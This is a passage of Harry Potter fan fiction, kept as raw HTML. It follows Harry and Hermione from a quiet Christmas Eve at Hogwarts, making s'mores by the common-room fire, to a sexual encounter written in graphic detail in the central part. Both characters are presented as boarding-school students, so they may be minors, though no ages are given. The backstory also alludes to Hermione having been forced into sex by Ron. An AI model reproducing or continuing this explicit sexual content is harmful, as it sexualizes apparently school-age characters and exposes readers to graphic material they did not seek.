Harry&#8217;s hand was resting against her hip\nand an arm around his waist holding her close to him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione&#8217;s eyelids fluttered and\nthen opened, she glanced about and remembered she wasn&#8217;t in her room, but on\nthe sofa with Harry.&nbsp; She lifted herself off of him and rubbed the sleep\nout of her eyes.&nbsp; The past night was interesting, she smiled a bit to herself\nremembering how nice it was, they would mostly spend the hours talking and\nwould share a few kisses from time to time, nothing was rushed or frantic even\nwhen he would kiss her it would soft and sweet. Harry was so gentle with\nher.&nbsp; Never had she spent a night like that with Ron.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">From the lack of warmth, Harry&#8217;s\neyes opened and he saw Hermione sitting up she was staring off into\nspace.&nbsp; &#8220;Good morning,&#8221; He said with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione turned looking down at\nhim, &#8220;Good morning,&#8221; She said quietly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;How did you sleep?&#8221; Harry asked,\nstretching his arms up over his head.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Fine, and you?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I actually got more sleep than\nusual, probably because I actually told you about what happened you know.&nbsp;\nMaybe that eased my mind a bit.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Glad I could be of help.&#8221; She tucked\nher hair behind her ears.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Are you hungry, do you want\nbreakfast?&#8221; Harry said as he saw her stand up and stretch.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione nodded, &#8220;oh yes, I&#8217;m\nreally hungry.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry stood too, &#8220;Well so am I, we\ndid skip dinner last night you know.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I know.&nbsp; I suppose I should\nget dressed.&#8221; Hermione said as she folded up the blanket and put it back where\nit belonged.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah me too,&#8221; He smiled.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione started for the stairs,\nHarry followed.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione, are you okay, really?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She turned facing him, &#8220;Yes I\nam.&nbsp; Sorry for the lack of conversation.&nbsp; But I&#8217;m not really a\nmorning person.&#8221; She smiled a little.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry felt relieved, &#8220;Oh good, I\nthought I made you feel weird or something.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione smiled wider, &#8220;Oh no,\nnothing like that.&nbsp; It&#8217;s just you have made me feel something that I have\nnever really felt before.&nbsp; I kinda like it though.&#8221; She glanced at the\nfloor, her cheeks tingeing pink from embarrassment.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">A large smile graced Harry&#8217;s face\nand he nodded, &#8220;Well I&#8217;ll see you in a bit then.&#8221;&nbsp; And he turned and went\nup the stairs to the boy&#8217;s dorm as Hermione went to the girls.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry took a quick shower, and\nhurried into a fresh pair of clothes and left the room in a flash, he came down\nthe stairs to find Hermione waiting patiently. She was petting her dog and\nfeeding it some of its special food.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Cinnamon yelped happily as Harry\nstood next to Hermione.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;And good morning to you too\nCinnamon,&#8221; Harry beamed.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Cinnamon yelped a few more times and\nthen dug into her bowl and started eating up her food.&nbsp; Hermione gave her\ndog&#8217;s ears another good scratch and then got to her feet.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I hope they have something good\nfor breakfast.&#8221; Hermione smiled as she started for the portrait.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry nodded agreeing and walked\nalong side her.&nbsp; They made their way down to the Great Hall where a lovely\nbreakfast was just waiting for them.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Christmas Eve day went pretty fast\nfor the two of them; they got to play around in Snape&#8217;s classroom helping him\nwith some really fun potions, ones he would never teach his students.&nbsp;\nHermione was laughing when Harry had taken a sip of a potion that turned his\nhair bright pink.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Snape sat back in his chair\nwatching the two of them, he didn&#8217;t smile but he was glad of this.&nbsp; He was\nactually having fun, with two Gryffindors to be exact. And it was nice to\nactually see Hermione Granger with a smile on her face, it&#8217;s been a long time\nsince he has seen that.&nbsp; He was glad that Harry Potter had come to this\nschool. He would continue to have fun and enjoy the rest of the day.&nbsp; But\nonce school classes started up again, he would go back to be his strict\nself.&nbsp; Only few students knew what he was really like. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">After dinner Harry and Hermione\nheaded back up to the tower.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I had so much fun today.&#8221;\nHermione said as she sank into the couch cushions.&nbsp; &#8220;Who would have\nthought that Hagrid also had some sweet innocent pets as well?&#8221; She smiled up\nat the ceiling.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry laughed a little, &#8220;Yeah, it\nwas a great day.&#8221; Harry sat next to her.&nbsp; &#8220;Who would have thought that\ncertain professors are nice?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione nodded relaxing a but,\nlistening to the fire crackling, a sudden idea popped into her head. &#8220;Hey I\nhave an idea, wait here I&#8217;ll be right back&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What, where are you going?&#8221; Harry\nstood as she did.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Just wait and see.&#8221; Hermione\nsmiled then hurried out of the common room.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry sat down again, wondering\nwhat she was up to.&nbsp; He didn&#8217;t have to wait long as about ten minutes\nlater Hermione came back through the portrait hole carrying a basket.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What have you got there?&#8221; Harry\nstood from the couch and moved over to where Hermione was, she had taken a seat\nby the fire kicking off her shoes.&nbsp; She started pulling out three\ncontainers and opening the lids.&nbsp; One container had large marshmallows,\nthe other had Graham Crackers and the other had pieces of chocolate.&nbsp; He\nwas very intrigued when she pulled to long sticks out of the basket.&nbsp;\n&#8220;What are these for?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione patted the seat next to\nher, &#8220;We are going to make smores.&#8221; She said with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Smores? What&#8217;s that?&#8221;&nbsp; He\nsat down next to her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well I will show you.&#8221;&nbsp; She\npicked out a nice plump marshmallow and placed it on the end of her stick and\nput it in the fire, after a few seconds she pulled out the marshmallow which\nwas lit aflame, she blew out the fire and picked up a piece of Graham cracker,\npressing her marshmallow against the cracker, she then picked up a piece of\nchocolate and another cracker.&nbsp; Mushing the marshmallow together into a\nsandwich, and pulled the stick out.&nbsp;&nbsp; &nbsp;&nbsp;&#8220;Ta-da.&#8221; She said\nproudly handing it to him.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry took the sandwich and looked\nat it, &#8220;Wow, so this is a smore huh?&#8221;&nbsp; He saw her grinning and he took a\nbite.&nbsp; It was like heaven, what a wonderful combination.&nbsp; No time was\nspared as he devoured the little sandwich in seconds flat. &#8220;That was so good.&#8221;\nHe watched as she made another, and another.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I used to make these when I went\ncamping with my parents, it was always lots of fun&#8221; She smiled a little,\nrecalling the days of her youth with her parents.&nbsp; She too was a slave to\nthe gooey sweetness of the smore; she had devoured her fair share of them.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">They spent most of the evening\ntalking about their childhoods, Hermione&#8217;s was fairly happy, and Harry&#8217;s was\nvery depressing.&nbsp; They did end up laughing about some of their experiences\nwith their families and what happened to them before they knew they were\nmagical.&nbsp; Soon they couldn&#8217;t fight the slumber that was threatening them,\nand they both drifted into their world of dreams.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry&#8217;s eyes snapped open, he\nnoticed it was still dark out.&nbsp; He looked up at the clock on the mantle,\nit said far too late to be up.&nbsp; He checked his watch which he had taken\noff because the gooey marshmallow from the smores was getting everywhere.&nbsp;\nHe looked at his watch and it read one thirty six.&nbsp; Harry sighed, and\nheard Hermione mumble something in her sleep and turn over on her back.&nbsp;\nHarry rolled over on his side and propped himself up on his elbow, looking at\nher.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She was so beautiful in the dim\nlight of the fire, his eyes scanned about her face, her eyelashes that were\nresting delicately against her cheeks, he probably spent a whole ten minutes\ngazing at her.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What are you staring at?&#8221;\nHermione&#8217;s soft voice broke the silence, and Harry&#8217;s face increased in\ncolor.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I didn&#8217;t realize you were awake,&#8221;\nHe said, his cheeks were tinged pink.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well I am.&#8221; Her eyes\nopened.&nbsp; &#8220;You still didn&#8217;t answer my question.&#8221; She said quietly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;All right, you caught me, I was\nstaring at you.&#8221; He smiled.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh,&#8221; It was Hermione&#8217;s turn to\nblush. &#8220;Why?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Because&#8230;um&#8230;well.&#8221;&nbsp; He took a\nbreath, &#8220;you&#8217;re really beautiful.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione felt funny in her\nstomach, it was jumping around like crazy.&nbsp; It almost felt like there were\nbutterflies in there.&nbsp; She has felt this feeling before, but only a few\ntimes and only around him.&nbsp; She smiled a bit, &#8220;You think I&#8217;m beautiful?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry nodded, &#8220;I told you before\nthat I had found you attractive.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">A few tears slipped from her eyes,\n&#8220;No one has ever called me beautiful before.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-bottom:12.0pt;text-indent:.25in">&#8220;You are so\nbeautiful; you can command me with just a simple look.&#8221; He whispered softly,\nlifting a hand wiping away her tears with his thumb he saw her eyes flutter\nclosed with his soft touch.&nbsp; He leaned in letting his lips brush lightly\nagainst hers.&nbsp; Harry kept the kiss gentle, allowing both of them to enjoy\nthe sensations of their mouths pressing against one another.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">His hands moved down slowly,\ntentatively. He let his fingers wind through her thick long locks, twisting the\nsilky strands. Harry pulled his mouth from hers and gently kissed her jaw,\nmoving down to taste her skin on her neck.&nbsp; Harry pulled one hand from her\nhair and let his fingers trace the places his mouth left behind. His lips moved\nacross the base of her throat as he let his hand travel lower, brushing lightly\nacross the top of the long sleeved shirt she was wearing. He felt her body\ntrembling underneath him and pulled his mouth away to look at her eyes. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-bottom:12.0pt;text-indent:.25in">&quot;If you\nstart to feel uncomfortable, tell me.&quot; Harry said softly. The last thing\nhe wanted to do was make her feel like what they were doing was wrong.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione nodded, taken in by the\ntrust she saw in his eyes. A smile crossed over his lips as they descended back\nonto hers.&nbsp; This was a different feeling for her, her insides felt warm\nand on fire, whenever Ron would do anything remotely like this, she felt so\ncold and frozen.&nbsp; Hermione pushed all thoughts of Ron from her head. This\nwas Harry, Harry was different, he was her friend and... and... she had to\nadmit that she was falling in love with him, very much.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry could suddenly sense that\nsome of her hesitancy had flown, and was happy about it. He moved over a bit so\nhe was lying on top of her, trying to not put his whole weight on her.&nbsp;\nDaring to move his hand further, he cupped it over the top of her breast, keeping\nhis touch light. His hand felt wonderful on her body, thoughtful and\nconsiderate. Without even realizing what she was doing, Hermione arched her\nback, pressing her breast into his palm. Harry felt her response, and decided\nto try something else. Sweeping the tip of his tongue across her lips, he was\nmost surprised when she opened her mouth to him immediately.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Her mouth was even sweeter than\nher skin, Harry thought. After a moment of exploring, Hermione began to\nrespond, touching her own tongue to the roof of his mouth while raking her hand\nthrough his messy black locks. He moaned at her touch, and that encouraged her,\nshe was doing the right thing.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry needed to feel her skin\nagainst his; he moved his hand down and under her shirt, stroking her softly.\nHe traced his fingers across her skin, over her clothed breasts. Yet he felt\nconstricted, the material was giving him limited access to her softness; Harry\npulled his mouth from hers.&nbsp; His fingers went to the buttons on her shirt;\nhe took a glance into her eyes.&nbsp; &#8220;Let me know if you want me to stop.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The thought crossed her mind at\nleast a dozen times, and any other time she would have stopped or attempted to\nstop.&nbsp; But she didn&#8217;t want to, this felt so good.&nbsp; Nothing at all\nlike before.&nbsp; She didn&#8217;t feel sick to her stomach. She loved the way her\nstomach was feeling, she loved the way everything was feeling when Harry was\ntouching and caressing her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He kissed her again, a bit more\nurgently this time as his fingers worked the buttons on her shirt and the\nmaterial was separated. Harry&#8217;s fingers lightly traced the skin above her\nbreasts causing Hermione to squirm a bit from the tickling sensation. His mouth\nmoved to her neck again as his hand caressed her breast, his tongue lightly\nflicking out to taste her skin, one hand moved to the clasp in the center of\nher brassier and he unhooked it, he could feel her breathing increasing.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Wait a minute&#8221; She gasped out.\nSitting up a bit she removed the clothing from her upper body.&nbsp; &#8220;I was\ngetting to warm.&#8221; She blushed.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry grinned, &#8220;I don&#8217;t mind.&#8221; He\nmoved in and kissed her, long and slow pressing her gently back down against\nthe floor.&nbsp; Harry didn\'t feel right that Hermione was half naked while he\nwas still fully clothed, so he brought her hands to his shirt.&nbsp; He guided\nher hands underneath, closing her fingers over the hem.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She tugged up, lifting the shirt\nover his head. Making his hair stick up even more.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&quot;Sorry.&quot; she said,\ndropping his shirt on top of hers.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&quot;It\'s all right.&quot; Harry grinned\nback. He always loved to see her laugh. Leaning </p>\n\n<p class="MsoNormal">down, he pressed his lips back to hers, opening his mouth\nimmediately to hers, loving the feel of her breasts pressed against his\nchest.&nbsp; He moaned in the feel of her up against him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Finally both of their clothing had\nbeen discarded; the kisses were strong and sensual. She had never felt anything\nlike this in her whole entire life. To actually want this.&nbsp; Hermione\ndidn&#8217;t want to think about it anymore as his hands roamed all over her body, igniting\na hot fire within her.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry&#8217;s hand reached down between\nher thighs, he gasped at her readiness, Great Fates she was already so\nhot.&nbsp; He was surprised, he knew sex had to be horrible for her yet she was\nresponding in all the right ways, she let out a loud moan when his fingers came\nin contact with her sex, gently massaging the button there sending amazing\nsensations through her.&nbsp; It made Harry happy to know she was enjoying\nthis, enjoying him. Bringing his mouth back to hers, he kissed her so hard that\nthey were soon breathless.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione felt like she was\ndrowning, but this time in a good way. He was so careful, so loving with her\nshe could feel small tears spring to her eyes.&nbsp; Wanting to return the\nfeelings and care that he was giving her, she brought her hands up to his\nchest, running her fingers lightly over his torso, amazed at the way his\nmuscles retracted at her mere touch.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry let out a long slow moan as\nhe felt the palm of her hand timidly pass over his throbbing member.&nbsp; His\nconscious suddenly attacked him, maybe he was pushing her too much, and maybe\nthis wasn&#8217;t such a good idea?</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione&#8230;&#8221; He panted, lifting\nhimself off her a bit his eyes scaned her flushed face.&nbsp; He saw her eyes\nopen and she looked up at him.&nbsp; &#8220;I feel like I&#8217;m pushing you into\nsomething.&#8221;&nbsp; He took a deep breath.&nbsp; &#8220;If you want to stop, we can.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well&#8230;uh do you want to stop?&#8221; She\nsearched his eyes for her answer.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I only want to if you do; I will\nnot be disappointed if you don&#8217;t want to continue.&#8221; He waited patiently for her\nto speak.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Instead she wrapped her arms\naround him, pulling him down so that he was on top of her again.&nbsp; &#8220;I don&#8217;t\nwant to stop; I like how you are making me feel.&nbsp; So please don&#8217;t stop\nthis now I&#8217;m afraid that if you do, I&#8217;ll die.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry nodded with a slight\nsmile.&nbsp; &#8220;I might take you to heaven, but it would not be in death.&#8221; He\nlowered his mouth against hers kissing her slowly.&nbsp; He wanted to her to\nfeel really good; he wanted to hear her screaming out his name in wild fits of\npassion.&nbsp; He would prove that making love is a joyous act not to be taken\nby force.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp; As he shifted his weight a\nbit, her thighs parted letting him lie between them.&nbsp; Hermione gasped out\nloud at the feel of his erect member merely pressing up against the opening of\nher flower.&nbsp;&nbsp; While still locked in their kiss Harry slowly pushed\nhimself inside her, her soft petals engulfing him.&nbsp; He heard her sweet\nnoises of approval which pressed him on until he buried completely within her\nhot warmth that he had to moan out just from the feel of her.&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione&#8217;s arms were tight around\nhim, Gods this feeling was so different. &nbsp;Her nerves were running wild,\nher heart was pounding madly and not from fear, but from pure passion.&nbsp; If\nthis was passion she never wanted it to end.&nbsp; She felt him start to move\nin and out of her in slow yet skill full movements.&nbsp; Hermione could tell\nhe was taking his time to make sure each stroke sent a jolt of white hot\npleasurable fire through her.&nbsp; She found her body responding to his as she\nmet his thrust, pressing herself up against him.&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">They gradually sped up their\nmovements; her erotic sounds mixed with his filled the room. &nbsp;Just as\nHermione thought she couldn\'t take it anymore, Harry let out the loudest moan\nby far and she was warmed from head to toe, every part of her body\ntingling.&nbsp; She felt the edge approaching at rapid speed.&nbsp; This was\nastounding, never before had she felt herself responding this way, it was\nalmost scary.&nbsp; Her legs were wrapped around him tight as she pressed harder\nagainst him.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry was moving harder and faster\nnow, increasing the rhythm, he felt her softness tightening around him as he\nknew she was close to release.&nbsp; That only pushed him on to go even\nmore.&nbsp; Her cries and gasps delighted him, causing him to plunge harder\ninto her making him pant out her name. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She felt like, like a torrid wave\nof electricity running through her, her body tingled immensely, her heart\njumping almost out of control.&nbsp; She tightened up everywhere; inside she\nclosed around him hard, screaming her release.&nbsp;&nbsp; Harry wasn&#8217;t too far\nbehind as he too yelled out.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He collapsed against her\ncompletely exhausted; Hermione&#8217;s arms were still around him as she enjoyed the\nfeel of him.&nbsp; They lay there in complete silence, only the sounds of their\nheart beats and breathing were heard.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry moved over a bit so he\nwasn&#8217;t totally crushing her, he gently stroked her shoulder creating sweet\nlittle tingles.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;Hermione began to doze off,\nbut was jolted awake remembering where she was.&nbsp; She started to sit up but\nHarry caught her before she was completely upright.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Where are you going?&#8221; He asked\nsleepily.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m going to go to my room now.&#8221;\nShe replied very quietly, </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry&#8217;s arm circled about her waist.&nbsp;\n&#8220;No, just stay with me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You really want me too?&#8221; Hermione\nhe was very surprised, she was never asked to stay, she was always pushed on to\nleave.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">A delightful yet tired smile\ngraced his face, &#8220;Yes I want you to stay.&nbsp; I want to feel my arms around\nyou, and the warmth of you pressed against me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione smiled shyly.&nbsp; &#8220;All\nright, I&#8217;ll stay.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry returned her smile, got up\nquickly and returned with the blanket from the couch.&nbsp; He threw it over\nthe both of them and snuggled Hermione close to him.&nbsp; So close that\nnothing would have separated them, not even air.&nbsp; He rested his chin\nagainst the top of her head as she was pressed against him.&nbsp; Soon the pair\njourneyed to the land of dreams.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">In his boxers sitting in Indian\nstyle, Harry watched Hermione sleep.&nbsp; The night they spent together was\nabsolutely magical; he smiled remembering how she felt, how she tasted.&nbsp;\nHow he loved her.&nbsp; Wait&#8230; Love?&nbsp; His grin turned goofy as he though\nabout it, yes.&nbsp; He was in love with her.&nbsp; Hermione was his goddess,\nhe would treasure everything about her.&nbsp;&nbsp; It was when she started to\nstir that he was snapped from his thoughts.&nbsp; Her arms stretched up over\nher head and her eyes softly fluttered open.&nbsp; Harry smiled.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Happy Christmas Hermione.&#8221; He\nwhispered softly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">For once he was right, she was\nhappy and it was Christmas.&nbsp; &#8220;Happy Christmas Harry.&#8221; She smiled bashfully\nas she remembered about last night.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I have presents for you.&#8221; He\nwatched and waited for her reaction, her eyes seemed to light up.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You have presents for me, but I\ndidn&#8217;t get you anything.&#8221; Hermione said sitting up a bit.&nbsp; She forgot that\nshe was in the buff, but it didn&#8217;t really matter anymore.&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Eh, it&#8217;s all right.&#8221; Harry\nreplied, his eyes not glued to her face, but elsewhere.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She noticed where he was staring\nand her whole body seemed to flush bright red.&nbsp; &#8220;Oops.&#8221; Hermione actually\ngiggled and covered herself with her 